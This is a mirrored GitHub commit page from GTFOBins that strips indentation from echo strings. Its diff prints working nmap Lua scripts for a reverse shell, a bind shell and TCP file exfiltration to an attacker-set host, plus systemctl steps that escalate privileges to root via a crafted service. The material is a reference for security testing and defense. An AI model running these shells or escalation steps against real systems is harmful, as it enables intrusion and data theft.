mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Drop useless echo indentation
This commit is contained in:
parent
a2886b643d
commit
d0464d7ce8
@ -17,13 +17,13 @@ functions:
|
||||
export RPORT=12345
|
||||
TF=$(mktemp)
|
||||
echo 'local s=require("socket");
|
||||
local t=assert(s.tcp());
|
||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||
while true do
|
||||
local r,x=t:receive();local f=assert(io.popen(r,"r"));
|
||||
local b=assert(f:read("*a"));t:send(b);
|
||||
end;
|
||||
f:close();t:close();' > $TF
|
||||
local t=assert(s.tcp());
|
||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||
while true do
|
||||
local r,x=t:receive();local f=assert(io.popen(r,"r"));
|
||||
local b=assert(f:read("*a"));t:send(b);
|
||||
end;
|
||||
f:close();t:close();' > $TF
|
||||
nmap --script=$TF
|
||||
non-interactive-bind-shell:
|
||||
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
|
||||
@ -31,12 +31,12 @@ functions:
|
||||
export LPORT=12345
|
||||
TF=$(mktemp)
|
||||
echo 'local k=require("socket");
|
||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||
local c=s:accept();
|
||||
while true do
|
||||
local r,x=c:receive();local f=assert(io.popen(r,"r"));
|
||||
local b=assert(f:read("*a"));c:send(b);
|
||||
end;c:close();f:close();' > $TF
|
||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||
local c=s:accept();
|
||||
while true do
|
||||
local r,x=c:receive();local f=assert(io.popen(r,"r"));
|
||||
local b=assert(f:read("*a"));c:send(b);
|
||||
end;c:close();f:close();' > $TF
|
||||
nmap --script=$TF
|
||||
file-upload:
|
||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
||||
@ -46,13 +46,13 @@ functions:
|
||||
export LFILE=file_to_send
|
||||
TF=$(mktemp)
|
||||
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
|
||||
local d=f:read("*a")
|
||||
io.close(f);
|
||||
local s=require("socket");
|
||||
local t=assert(s.tcp());
|
||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||
t:send(d);
|
||||
t:close();' > $TF
|
||||
local d=f:read("*a")
|
||||
io.close(f);
|
||||
local s=require("socket");
|
||||
local t=assert(s.tcp());
|
||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||
t:send(d);
|
||||
t:close();' > $TF
|
||||
nmap --script=$TF
|
||||
file-download:
|
||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345
|
||||
@ -62,13 +62,13 @@ functions:
|
||||
export LFILE=file_to_save
|
||||
TF=$(mktemp)
|
||||
echo 'local k=require("socket");
|
||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||
local c=s:accept();
|
||||
local d,x=c:receive("*a");
|
||||
c:close();
|
||||
local f=io.open(os.getenv("LFILE"), "wb");
|
||||
f:write(d);
|
||||
io.close(f);' > $TF
|
||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||
local c=s:accept();
|
||||
local d,x=c:receive("*a");
|
||||
c:close();
|
||||
local f=io.open(os.getenv("LFILE"), "wb");
|
||||
f:write(d);
|
||||
io.close(f);' > $TF
|
||||
nmap --script=$TF
|
||||
file-write:
|
||||
- code: |
|
||||
|
@ -4,20 +4,20 @@ functions:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
./systemctl link $TF
|
||||
./systemctl enable --now $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
sudo systemctl link $TF
|
||||
sudo systemctl enable --now $TF
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user